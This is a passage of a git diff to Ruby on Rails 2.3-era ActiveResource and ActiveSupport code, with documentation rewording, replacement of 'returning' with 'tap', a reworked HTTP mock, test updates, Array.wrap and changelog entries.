# then fail (with a <tt>false</tt> return value) and the validation errors can be accessed on the resource in question.
@@ -413,7 +414,7 @@ module ActiveResource
# will split from the +prefix_options+.
#
# ==== Options
- # * +prefix_options+ - A hash to add a prefix to the request for nested URL's (e.g., <tt>:account_id => 19</tt>
+ # * +prefix_options+ - A hash to add a prefix to the request for nested URLs (e.g., <tt>:account_id => 19</tt>
# would yield a URL like <tt>/accounts/19/purchases.xml</tt>).
# * +query_options+ - A hash to add items to the query string for the request.
#
@@ -462,7 +463,7 @@ module ActiveResource
# that_guy.valid? # => false
# that_guy.new? # => true
def create(attributes = {})
- returning(self.new(attributes)) { |res| res.save }
+ self.new(attributes).tap { |resource| resource.save }
end
# Core method for finding resources. Used similarly to Active Record's +find+ method.
@@ -600,7 +601,7 @@ module ActiveResource
end
def instantiate_record(record, prefix_options = {})
- returning new(record) do |resource|
+ new(record).tap do |resource|
resource.prefix_options = prefix_options
end
end
@@ -691,7 +692,7 @@ module ActiveResource
end
- # A method to determine if the resource a \new object (i.e., it has not been POSTed to the remote service yet).
+ # Returns +true+ if this object hasn't yet been saved, otherwise, returns +false+.
#
# ==== Examples
# not_new = Computer.create(:brand => 'Apple', :make => 'MacBook', :vendor => 'MacMall')
@@ -747,7 +748,7 @@ module ActiveResource
#
def ==(other)
other.equal?(self) || (other.instance_of?(self.class) && other.id == id && other.prefix_options == prefix_options)
- end
+ end
# Tests for equality (delegates to ==).
def eql?(other)
@@ -760,7 +761,7 @@ module ActiveResource
id.hash
end
- # Duplicate the current resource without saving it.
+ # Duplicates the current resource without saving it.
#
# ==== Examples
# my_invoice = Invoice.create(:customer => 'That Company')
@@ -773,14 +774,14 @@ module ActiveResource
# my_invoice.customer # => That Company
# next_invoice.customer # => That Company
def dup
- returning self.class.new do |resource|
+ self.class.new.tap do |resource|
resource.attributes = @attributes
resource.prefix_options = @prefix_options
end
end
- # A method to \save (+POST+) or \update (+PUT+) a resource. It delegates to +create+ if a \new object,
- # +update+ if it is existing. If the response to the \save includes a body, it will be assumed that this body
+ # Saves (+POST+) or \updates (+PUT+) a resource. Delegates to +create+ if the object is \new,
+ # +update+ if it exists. If the response to the \save includes a body, it will be assumed that this body
# is XML for the final object as it looked after the \save (which would include attributes like +created_at+
# that weren't part of the original submit).
#
@@ -832,7 +833,7 @@ module ActiveResource
!new? && self.class.exists?(to_param, :params => prefix_options)
end
- # A method to convert the the resource to an XML string.
+ # Converts the resource to an XML string representation.
#
# ==== Options
# The +options+ parameter is handed off to the +to_xml+ method on each
@@ -861,8 +862,7 @@ module ActiveResource
attributes.to_xml({:root => self.class.element_name}.merge(options))
end
- # Returns a JSON string representing the model. Some configuration is
- # available through +options+.
+ # Converts the resource to a JSON string representation.
#
# ==== Options
# The +options+ are passed to the +to_json+ method on each
@@ -985,14 +985,14 @@ module ActiveResource
# Update the resource on the remote service.
def update
- returning connection.put(element_path(prefix_options), encode, self.class.headers) do |response|
+ connection.put(element_path(prefix_options), encode, self.class.headers).tap do |response|
load_attributes_from_response(response)
end
end
# Create (i.e., \save to the remote service) the \new resource.
def create
- returning connection.post(collection_path, encode, self.class.headers) do |response|
+ connection.post(collection_path, encode, self.class.headers).tap do |response|
self.id = id_from_response(response)
load_attributes_from_response(response)
end
diff --git a/activeresource/lib/active_resource/connection.rb b/activeresource/lib/active_resource/connection.rb
index 85103b53c5..80d5c95b68 100644
--- a/activeresource/lib/active_resource/connection.rb
+++ b/activeresource/lib/active_resource/connection.rb
@@ -95,46 +95,46 @@ module ActiveResource
@password = URI.decode(@site.password) if @site.password
end
- # Set user for remote service.
+ # Sets the user for remote service.
def user=(user)
@user = user
end
- # Set password for remote service.
+ # Sets the password for remote service.
def password=(password)
@password = password
end
- # Set the number of seconds after which HTTP requests to the remote service should time out.
+ # Sets the number of seconds after which HTTP requests to the remote service should time out.
def timeout=(timeout)
@timeout = timeout
end
- # Execute a GET request.
+ # Executes a GET request.
# Used to get (find) resources.
def get(path, headers = {})
format.decode(request(:get, path, build_request_headers(headers, :get)).body)
end
- # Execute a DELETE request (see HTTP protocol documentation if unfamiliar).
+ # Executes a DELETE request (see HTTP protocol documentation if unfamiliar).
# Used to delete resources.
def delete(path, headers = {})
request(:delete, path, build_request_headers(headers, :delete))
end
- # Execute a PUT request (see HTTP protocol documentation if unfamiliar).
+ # Executes a PUT request (see HTTP protocol documentation if unfamiliar).
# Used to update resources.
def put(path, body = '', headers = {})
request(:put, path, body.to_s, build_request_headers(headers, :put))
end
- # Execute a POST request.
+ # Executes a POST request.
# Used to create new resources.
def post(path, body = '', headers = {})
request(:post, path, body.to_s, build_request_headers(headers, :post))
end
- # Execute a HEAD request.
+ # Executes a HEAD request.
# Used to obtain meta-information about resources, such as whether they exist and their size (via response headers).
def head(path, headers = {})
request(:head, path, build_request_headers(headers))
@@ -142,7 +142,7 @@ module ActiveResource
private
- # Makes request to remote service.
+ # Makes a request to the remote service.
def request(method, path, *arguments)
logger.info "#{method.to_s.upcase} #{site.scheme}://#{site.host}:#{site.port}#{path}" if logger
result = nil
@@ -153,7 +153,7 @@ module ActiveResource
raise TimeoutError.new(e.message)
end
- # Handles response and error codes from remote service.
+ # Handles response and error codes from the remote service.
def handle_response(response)
case response.code.to_i
when 301,302
@@ -183,7 +183,7 @@ module ActiveResource
end
end
- # Creates new Net::HTTP instance for communication with
+ # Creates new Net::HTTP instance for communication with the
# remote service and resources.
def http
http = Net::HTTP.new(@site.host, @site.port)
diff --git a/activeresource/lib/active_resource/http_mock.rb b/activeresource/lib/active_resource/http_mock.rb
index 0b4549f759..7d7e378436 100644
--- a/activeresource/lib/active_resource/http_mock.rb
+++ b/activeresource/lib/active_resource/http_mock.rb
@@ -59,7 +59,7 @@ module ActiveResource
# end
module_eval <<-EOE, __FILE__, __LINE__
def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {})
- @responses[Request.new(:#{method}, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
+ @responses << [Request.new(:#{method}, path, nil, request_headers), Response.new(body || "", status, response_headers)]
end
EOE
end
@@ -91,21 +91,17 @@ module ActiveResource
@@requests ||= []
end
- # Returns a hash of <tt>request => response</tt> pairs for all all responses this mock has delivered, where +request+
- # is an instance of ActiveResource::Request and the response is, naturally, an instance of
- # ActiveResource::Response.
+ # Returns the list of requests and their mocked responses. Look up a
+ # response for a request using responses.assoc(request).
def responses
- @@responses ||= {}
+ @@responses ||= []
end
# Accepts a block which declares a set of requests and responses for the HttpMock to respond to. See the main
# ActiveResource::HttpMock description for a more detailed explanation.
def respond_to(pairs = {}) #:yields: mock
reset!
- pairs.each do |(path, response)|
- responses[path] = response
- end
-
+ responses.concat pairs.to_a
if block_given?
yield Responder.new(responses)
else
@@ -120,29 +116,23 @@ module ActiveResource
end
end
- for method in [ :post, :put ]
- # def post(path, body, headers)
- # request = ActiveResource::Request.new(:post, path, body, headers)
- # self.class.requests << request
- # self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for #{request}"))
- # end
- module_eval <<-EOE, __FILE__, __LINE__
- def #{method}(path, body, headers)
- request = ActiveResource::Request.new(:#{method}, path, body, headers)
- self.class.requests << request
- self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}"))
- end
- EOE
- end
-
- for method in [ :get, :delete, :head ]
- module_eval <<-EOE, __FILE__, __LINE__
- def #{method}(path, headers)
- request = ActiveResource::Request.new(:#{method}, path, nil, headers)
- self.class.requests << request
- self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}"))
- end
- EOE
+ # body? methods
+ { true => %w(post put),
+ false => %w(get delete head) }.each do |has_body, methods|
+ methods.each do |method|
+ # def post(path, body, headers)
+ # request = ActiveResource::Request.new(:post, path, body, headers)
+ # self.class.requests << request
+ # self.class.responses.assoc(request).try(:second) || raise(InvalidRequestError.new("No response recorded for #{request}"))
+ # end
+ module_eval <<-EOE, __FILE__, __LINE__
+ def #{method}(path, #{'body, ' if has_body}headers)
+ request = ActiveResource::Request.new(:#{method}, path, #{has_body ? 'body, ' : 'nil, '}headers)
+ self.class.requests << request
+ self.class.responses.assoc(request).try(:second) || raise(InvalidRequestError.new("No response recorded for \#{request}"))
+ end
+ EOE
+ end
end
def initialize(site) #:nodoc:
@@ -157,21 +147,13 @@ module ActiveResource
@method, @path, @body, @headers = method, path, body, headers.merge(ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[method] => 'application/xml')
end
- def ==(other_request)
- other_request.hash == hash
- end
-
- def eql?(other_request)
- self == other_request
+ def ==(req)
+ path == req.path && method == req.method && headers == req.headers
end
def to_s
"<#{method.to_s.upcase}: #{path} [#{headers}] (#{body})>"
end
-
- def hash
- "#{path}#{method}#{headers}".hash
- end
end
class Response
diff --git a/activeresource/lib/active_resource/validations.rb b/activeresource/lib/active_resource/validations.rb
index 4bc906d291..8d21f8adbb 100644
--- a/activeresource/lib/active_resource/validations.rb
+++ b/activeresource/lib/active_resource/validations.rb
@@ -3,7 +3,7 @@ module ActiveResource
end
# Active Resource validation is reported to and from this object, which is used by Base#save
- # to determine whether the object in a valid state to be saved. See usage example in Validations.
+ # to determine whether the object is in a valid state to be saved. See usage example in Validations.
class Errors
include Enumerable
attr_reader :errors
@@ -14,7 +14,10 @@ module ActiveResource
@base, @errors = base, {}
end
- # Add an error to the base Active Resource object rather than an attribute.
+ # Adds an error to the base object instead of any particular attribute. This is used
+ # to report errors that don't tie to any specific attribute, but rather to the object
+ # as a whole. These error messages don't get prepended with any field name when iterating
+ # with +each_full+, so they should be complete sentences.
#
# ==== Examples
# my_folder = Folder.find(1)
@@ -68,9 +71,9 @@ module ActiveResource
!@errors[attribute.to_s].nil?
end
- # A method to return the errors associated with +attribute+, which returns nil, if no errors are
- # associated with the specified +attribute+, the error message if one error is associated with the specified +attribute+,
- # or an array of error messages if more than one error is associated with the specified +attribute+.
+ # Returns +nil+ if no errors are associated with the specified +attribute+.
+ # Returns the error message if one error is associated with the specified +attribute+.
+ # Returns an array of error messages if more than one error is associated with the specified +attribute+.
#
# ==== Examples
# my_person = Person.new(params[:person])
@@ -92,9 +95,7 @@ module ActiveResource
alias :[] :on
- # A method to return errors assigned to +base+ object through add_to_base, which returns nil, if no errors are
- # associated with the specified +attribute+, the error message if one error is associated with the specified +attribute+,
- # or an array of error messages if more than one error is associated with the specified +attribute+.
+ # Returns errors assigned to the base object through +add_to_base+ according to the normal rules of <tt>on(attribute)</tt>.
#
# ==== Examples
# my_account = Account.find(1)
@@ -203,7 +204,7 @@ module ActiveResource
def from_xml(xml)
clear
humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }
- messages = Hash.from_xml(xml)['errors']['error'] rescue []
+ messages = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []
messages.each do |message|
attr_message = humanized_attributes.keys.detect do |attr_name|
if message[0, attr_name.size + 1] == "#{attr_name} "
diff --git a/activeresource/lib/active_resource/version.rb b/activeresource/lib/active_resource/version.rb
index c420ac813e..3df2555d53 100644
--- a/activeresource/lib/active_resource/version.rb
+++ b/activeresource/lib/active_resource/version.rb
@@ -2,7 +2,7 @@ module ActiveResource
module VERSION #:nodoc:
MAJOR = 2
MINOR = 3
- TINY = 0
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/activeresource/test/abstract_unit.rb b/activeresource/test/abstract_unit.rb
index e612412033..0f11ea482a 100644
--- a/activeresource/test/abstract_unit.rb
+++ b/activeresource/test/abstract_unit.rb
@@ -1,6 +1,11 @@
+require 'rubygems'
require 'test/unit'
+gem 'mocha', '>= 0.9.5'
+require 'mocha'
+
$:.unshift "#{File.dirname(__FILE__)}/../lib"
+$:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib"
require 'active_resource'
require 'active_resource/http_mock'
@@ -10,17 +15,9 @@ require 'setter_trap'
ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log")
def uses_gem(gem_name, test_name, version = '> 0')
- require 'rubygems'
gem gem_name.to_s, version
require gem_name.to_s
yield
rescue LoadError
$stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
end
-
-# Wrap tests that use Mocha and skip if unavailable.
-unless defined? uses_mocha
- def uses_mocha(test_name, &block)
- uses_gem('mocha', test_name, '>= 0.5.5', &block)
- end
-end
diff --git a/activeresource/test/authorization_test.rb b/activeresource/test/authorization_test.rb
index ead7f5c12f..ca25f437e3 100644
--- a/activeresource/test/authorization_test.rb
+++ b/activeresource/test/authorization_test.rb
@@ -107,10 +107,10 @@ class AuthorizationTest < Test::Unit::TestCase
end
def test_raises_invalid_request_on_unauthorized_requests
- assert_raises(ActiveResource::InvalidRequestError) { @conn.post("/people/2.xml") }
- assert_raises(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.xml") }
- assert_raises(ActiveResource::InvalidRequestError) { @conn.put("/people/2.xml") }
- assert_raises(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.xml") }
+ assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2.xml") }
+ assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.xml") }
+ assert_raise(ActiveResource::InvalidRequestError) { @conn.put("/people/2.xml") }
+ assert_raise(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.xml") }
end
protected
diff --git a/activeresource/test/base_test.rb b/activeresource/test/base_test.rb
index e22388f4a7..6ed6f1a406 100644
--- a/activeresource/test/base_test.rb
+++ b/activeresource/test/base_test.rb
@@ -47,7 +47,7 @@ class BaseTest < Test::Unit::TestCase
{:name => 'Milena',
:children => []}]}]}.to_xml(:root => 'customer')
# - resource with yaml array of strings; for ActiveRecords using serialize :bar, Array
- @marty = <<-eof
+ @marty = <<-eof.strip
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<person>
<id type=\"integer\">5</id>
@@ -564,14 +564,14 @@ class BaseTest < Test::Unit::TestCase
def test_custom_header
Person.headers['key'] = 'value'
- assert_raises(ActiveResource::ResourceNotFound) { Person.find(4) }
+ assert_raise(ActiveResource::ResourceNotFound) { Person.find(4) }
ensure
Person.headers.delete('key')
end
def test_find_by_id_not_found
- assert_raises(ActiveResource::ResourceNotFound) { Person.find(99) }
- assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1) }
+ assert_raise(ActiveResource::ResourceNotFound) { Person.find(99) }
+ assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1) }
end
def test_find_all_by_from
@@ -689,7 +689,7 @@ class BaseTest < Test::Unit::TestCase
ActiveResource::HttpMock.respond_to do |mock|
mock.post "/people.xml", {}, nil, 409
end
- assert_raises(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
+ assert_raise(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
end
def test_create_without_location
@@ -726,7 +726,7 @@ class BaseTest < Test::Unit::TestCase
matz.non_ar_arr = ["not", "ARes"]
matz_c = matz.clone
assert matz_c.new?
- assert_raises(NoMethodError) {matz_c.address}
+ assert_raise(NoMethodError) {matz_c.address}
assert_equal matz.non_ar_hash, matz_c.non_ar_hash
assert_equal matz.non_ar_arr, matz_c.non_ar_arr
@@ -764,7 +764,7 @@ class BaseTest < Test::Unit::TestCase
mock.get "/people/2.xml", {}, @david
mock.put "/people/2.xml", @default_request_headers, nil, 409
end
- assert_raises(ActiveResource::ResourceConflict) { Person.find(2).save }
+ assert_raise(ActiveResource::ResourceConflict) { Person.find(2).save }
end
def test_destroy
@@ -772,7 +772,7 @@ class BaseTest < Test::Unit::TestCase
ActiveResource::HttpMock.respond_to do |mock|
mock.get "/people/1.xml", {}, nil, 404
end
- assert_raises(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
+ assert_raise(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
end
def test_destroy_with_custom_prefix
@@ -780,7 +780,7 @@ class BaseTest < Test::Unit::TestCase
ActiveResource::HttpMock.respond_to do |mock|
mock.get "/people/1/addresses/1.xml", {}, nil, 404
end
- assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+ assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
end
def test_delete
@@ -788,7 +788,7 @@ class BaseTest < Test::Unit::TestCase
ActiveResource::HttpMock.respond_to do |mock|
mock.get "/people/1.xml", {}, nil, 404
end
- assert_raises(ActiveResource::ResourceNotFound) { Person.find(1) }
+ assert_raise(ActiveResource::ResourceNotFound) { Person.find(1) }
end
def test_delete_with_custom_prefix
@@ -796,7 +796,7 @@ class BaseTest < Test::Unit::TestCase
ActiveResource::HttpMock.respond_to do |mock|
mock.get "/people/1/addresses/1.xml", {}, nil, 404
end
- assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+ assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
end
def test_exists
diff --git a/activeresource/test/connection_test.rb b/activeresource/test/connection_test.rb
index 84bcf69219..831fbc4003 100644
--- a/activeresource/test/connection_test.rb
+++ b/activeresource/test/connection_test.rb
@@ -168,21 +168,19 @@ class ConnectionTest < Test::Unit::TestCase
assert_equal 200, response.code
end
- uses_mocha('test_timeout, test_accept_http_header') do
- def test_timeout
- @http = mock('new Net::HTTP')
- @conn.expects(:http).returns(@http)
- @http.expects(:get).raises(Timeout::Error, 'execution expired')
- assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') }
- end
-
- def test_accept_http_header
- @http = mock('new Net::HTTP')
- @conn.expects(:http).returns(@http)
- path = '/people/1.xml'
- @http.expects(:get).with(path, {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'}))
- assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) }
- end
+ def test_timeout
+ @http = mock('new Net::HTTP')
+ @conn.expects(:http).returns(@http)
+ @http.expects(:get).raises(Timeout::Error, 'execution expired')
+ assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') }
+ end
+
+ def test_accept_http_header
+ @http = mock('new Net::HTTP')
+ @conn.expects(:http).returns(@http)
+ path = '/people/1.xml'
+ @http.expects(:get).with(path, {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'}))
+ assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) }
end
protected
diff --git a/activeresource/test/setter_trap.rb b/activeresource/test/setter_trap.rb
index 9a899b0fa0..7cfd9ca111 100644
--- a/activeresource/test/setter_trap.rb
+++ b/activeresource/test/setter_trap.rb
@@ -1,9 +1,8 @@
class SetterTrap < ActiveSupport::BasicObject
class << self
def rollback_sets(obj)
- returning yield(setter_trap = new(obj)) do
- setter_trap.rollback_sets
- end
+ trapped = new(obj)
+ yield(trapped).tap { trapped.rollback_sets }
end
end
diff --git a/activesupport/CHANGELOG b/activesupport/CHANGELOG
index fed977775e..2ba96c390b 100644
--- a/activesupport/CHANGELOG
+++ b/activesupport/CHANGELOG
@@ -1,4 +1,26 @@
-*2.3.0 [Edge]*
+*Edge
+
+* TimeWithZone.name returns 'Time', to further thwart type checking [Geoff Buesing]
+
+* Time.local instances: Adding 24.hours across the DST boundary adds 24 hours instead of one day #2066 [Michael Curtis]
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* XmlMini supports LibXML and Nokogiri backends. #2084, #2190 [Bart ten Brinke, Aaron Patterson]
+ Example: XmlMini.backend = 'Nokogiri'
+
+* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda]
+
+* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/ [Mike Perham]
+
+* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars. #2033 [MOROHASHI Kyosuke]
+
+* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 [Zachary Zolton]
+
+* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 [Levin Alexander]
+
+* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable. [Jeremy Kemper]
* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty]
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index d83e259a2a..84d9a0e6d8 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -27,6 +27,11 @@ module ActiveSupport
Thread.current[:#{thread_local_key}] = nil
end
EOS
+
+ def klass.to_s
+ "ActiveSupport::Cache::Strategy::LocalCache"
+ end
+
klass
end
end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index cc0a1ebc12..82c6b1243a 100644
--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/grouping'
require 'active_support/core_ext/array/random_access'
+require 'active_support/core_ext/array/wrapper'
class Array #:nodoc:
include ActiveSupport::CoreExtensions::Array::Access
@@ -10,4 +11,5 @@ class Array #:nodoc:
include ActiveSupport::CoreExtensions::Array::ExtractOptions
include ActiveSupport::CoreExtensions::Array::Grouping
include ActiveSupport::CoreExtensions::Array::RandomAccess
+ extend ActiveSupport::CoreExtensions::Array::Wrapper
end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index 69d35dafd3..ba8e022fb2 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -6,14 +6,27 @@ module ActiveSupport #:nodoc:
# * <tt>:words_connector</tt> - The sign or word used to join the elements in arrays with two or more elements (default: ", ")
# * <tt>:two_words_connector</tt> - The sign or word used to join the elements in arrays with two elements (default: " and ")
# * <tt>:last_word_connector</tt> - The sign or word used to join the last element in arrays with three or more elements (default: ", and ")
- def to_sentence(options = {})
- options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
-
- default_words_connector = I18n.translate(:'support.array.words_connector', :locale => options[:locale])
+ def to_sentence(options = {})
+ default_words_connector = I18n.translate(:'support.array.words_connector', :locale => options[:locale])
default_two_words_connector = I18n.translate(:'support.array.two_words_connector', :locale => options[:locale])
default_last_word_connector = I18n.translate(:'support.array.last_word_connector', :locale => options[:locale])
- options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector
+ # Try to emulate to_senteces previous to 2.3
+ if options.has_key?(:connector) || options.has_key?(:skip_last_comma)
+ ::ActiveSupport::Deprecation.warn(":connector has been deprecated. Use :words_connector instead", caller) if options.has_key? :connector
+ ::ActiveSupport::Deprecation.warn(":skip_last_comma has been deprecated. Use :last_word_connector instead", caller) if options.has_key? :skip_last_comma
+
+ skip_last_comma = options.delete :skip_last_comma
+ if connector = options.delete(:connector)
+ options[:last_word_connector] ||= skip_last_comma ? connector : ", #{connector}"
+ else
+ options[:last_word_connector] ||= skip_last_comma ? default_two_words_connector : default_last_word_connector
+ end
+ end
+
+ options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+ options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector
+
case length
when 0
""
diff --git a/activesupport/lib/active_support/core_ext/array/wrapper.rb b/activesupport/lib/active_support/core_ext/array/wrapper.rb
new file mode 100644
index 0000000000..80b8f05531
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/wrapper.rb
@@ -0,0 +1,24 @@
+module ActiveSupport #:nodoc:
+ module CoreExtensions #:nodoc:
+ module Array #:nodoc:
+ module Wrapper
+ # Wraps the object in an Array unless it's an Array. Converts the
+ # object to an Array using #to_ary if it implements that.
+ def wrap(object)
+ case object
+ when nil
+ []
+ when self
+ object
+ else
+ if object.respond_to?(:to_ary)
+ object.to_ary
+ else
+ [object]
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 43d70c7013..7f94da015b 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -1,7 +1,7 @@
module ActiveSupport #:nodoc:
module CoreExtensions #:nodoc:
module Date #:nodoc:
- # Enables the use of time calculations within Time itself
+ # Enables the use of time calculations within Date itself
module Calculations
def self.included(base) #:nodoc:
base.extend ClassMethods
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index 976d462e8e..8cc5654a4b 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -27,7 +27,7 @@ module ActiveSupport #:nodoc:
old_stat = stat(file_name)
rescue Errno::ENOENT
# No old permissions, write a temp file to determine the defaults
- check_name = ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}"
+ check_name = join(dirname(file_name), ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}")
open(check_name, "w") { }
old_stat = stat(check_name)
unlink(check_name)
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 991a5a6a89..f8a5e70eea 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -24,11 +24,11 @@ module ActiveSupport #:nodoc:
"Bignum" => "integer",
"BigDecimal" => "decimal",
"Float" => "float",
+ "TrueClass" => "boolean",
+ "FalseClass" => "boolean",
"Date" => "date",
"DateTime" => "datetime",
- "Time" => "datetime",
- "TrueClass" => "boolean",
- "FalseClass" => "boolean"
+ "Time" => "datetime"
} unless defined?(XML_TYPE_NAMES)
XML_FORMATTING = {
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index c96c5160b3..34ba8a005d 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -91,6 +91,12 @@ class HashWithIndifferentAccess < Hash
self.dup.update(hash)
end
+ # Performs the opposite of merge, with the keys and values from the first hash taking precedence over the second.
+ # This overloaded definition prevents returning a regular hash, if reverse_merge is called on a HashWithDifferentAccess.
+ def reverse_merge(other_hash)
+ super other_hash.with_indifferent_access
+ end
+
# Removes a specified key from the hash.
def delete(key)
super(convert_key(key))
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index de99fe5791..48e812aaf8 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -1,4 +1,4 @@
-require 'active_support/inflector'
+require 'active_support/inflector' unless defined?(ActiveSupport::Inflector)
module ActiveSupport #:nodoc:
module CoreExtensions #:nodoc:
@@ -102,8 +102,8 @@ module ActiveSupport #:nodoc:
#
# <%= link_to(@person.name, person_path %>
# # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
- def parameterize
- Inflector.parameterize(self)
+ def parameterize(sep = '-')
+ Inflector.parameterize(self, sep)
end
# Creates the name of a table like Rails does for models to table names. This method
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 5ed750afcc..d13d0e01a7 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -116,22 +116,14 @@ module ActiveSupport #:nodoc:
seconds_to_advance == 0 ? time_advanced_by_date : time_advanced_by_date.since(seconds_to_advance)
end
- # Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension
+ # Returns a new Time representing the time a number of seconds ago
def ago(seconds)
self.since(-seconds)
end
- # Returns a new Time representing the time a number of seconds since the instance time, this is basically a wrapper around
- # the Numeric extension.
+ # Returns a new Time representing the time a number of seconds since the instance time
def since(seconds)
- f = seconds.since(self)
- if ActiveSupport::Duration === seconds
- f
- else
- initial_dst = self.dst? ? 1 : 0
- final_dst = f.dst? ? 1 : 0
- (seconds.abs >= 86400 && initial_dst != final_dst) ? f + (initial_dst - final_dst).hours : f
- end
+ self + seconds
rescue
self.to_datetime.since(seconds)
end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index f42be46770..e6f9134661 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -10,7 +10,7 @@ module ActiveSupport #:nodoc:
:short => "%d %b %H:%M",
:long => "%B %d, %Y %H:%M",
:long_ordinal => lambda { |time| time.strftime("%B #{time.day.ordinalize}, %Y %H:%M") },
- :rfc822 => "%a, %d %b %Y %H:%M:%S %z"
+ :rfc822 => lambda { |time| time.strftime("%a, %d %b %Y %H:%M:%S #{time.formatted_offset(false)}") }
}
def self.included(base) #:nodoc:
